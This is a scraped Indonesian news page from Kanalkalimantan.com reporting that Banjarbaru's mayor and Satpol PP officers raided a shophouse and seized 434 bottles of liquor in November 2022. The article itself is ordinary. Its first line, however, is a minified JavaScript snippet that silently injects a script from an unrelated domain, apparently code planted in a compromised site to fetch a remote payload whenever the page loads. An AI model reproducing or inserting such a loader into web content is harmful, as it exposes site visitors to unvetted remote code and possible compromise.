(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Sidak Ruko di Panglima Batur, Wali Kota Aditya Sita 434 Botol Miras!


KANALKALIMANTAN.COM, BANJARBARU – Atas banyaknya laporan dari masyarakat terkait maraknya peredaran minuman keras Wali Kota Banjarbaru, Aditya Mufti Ariffin turun tangan.

Didampingi Dandim 1006/Martapura Letkol Inf Imam Muchtarom, Wali Kota Aditya menyidak sebuah ruko di Jalan Panglima Batur, tepatnya di samping Mini Market Az-Zahra. Alhasil Wali Kota dan tim yang juga turut diikuti belasan personil Satpol PP Kota Banjarbaru, merazia ratusan botol dan kaleng minuman keras, Jumat (25/11/2022) malam.

Tak berbelit-belit, Aditya yang mendapati ratusan miras siap jual itu langsung menginstruksikan kepada personil untuk langsung menyita. Adapun ratusan miras berbagai tersebut tersimpan di dalam kulkas dan kardus yang masih tersegel.

Aditya juga mendapati dua orang penjaga di ruko tersebut. Saat ditanya, kedua orang tersebut mengaku bukan pemilik ratusan miras tersebut, melainkan hanya bertugas menjualkan.

 

Baca juga : DPRD Kapuas Rapat Paripurna Jawaban Kepala Daerah atas Pemandangan Umum Fraksi terhadap Pengantar APBD 2023

“Tadi saat saya tanya siapa pemiliknya, mereka mengaku kalau pemiliknya sedang berada di luar daerah. Namun begitu miras-miras ini tetap kita sita karena telah menyalahi Perda Banjarbaru,” kata Wali Kota.

 

Diakui Aditya sidak malam ini dipicu atas banyaknya laporan dari masyarakat terkait aktivitas jual beli miras. Laporan itu pun kemudian ditanggapi Aditya dengan mengumpulkan informasi ihwal dimana saja lokasi penjualannya.

“Untuk di ruko area jalan Panglima Batur tadi kita menyita sebanyak 434 botol miras berbagai merek. Sebenarnya ada satu lokasi lagi, tapi informasinya bocor karena saat kita datangi tempatnya sudah tutup,” jelasnya.

Adapun 434 botol miras tersebut di antaranya 366 miras jenis botol dan 68 sisanya jenis kaleng. Untuk kedua tersangka berinisial AW (22) dan MH (25) kini menjalani pemeriksaan di Mako Satpol PP Kota Banjarbaru.

Baca juga  : Gelar Konwil ke-28, PII Kalsel Komitmen jadi Wadah Pengembangan Kualitas Pelajar

Diakhir kegiatannya, Aditya mengimbau kepada seluruh lapisan masyarakat untuk peduli terhadap lingkungan sekitar. Dalam hal ini ia meminta kepada masyarakat untuk dapat melaporkan ke pihak berwenang apabila menemukan adanya aktivitas-aktivitas mencurigakan.

“Segera laporkan ke Satpol PP maupun Polisi. Mari kita jaga lingkungan kita, khususnya di Banjarbaru. Isi dengan kegiatan-kegiatan positif sehingga suasana tempat tinggal kita pun bisa nyaman,” imbaunya. (Kanalkalimantan.com/al)

Reporter  : al
Editor  : kk


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

5 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

6 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

6 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

7 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

8 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

9 jam ago

This website uses cookies.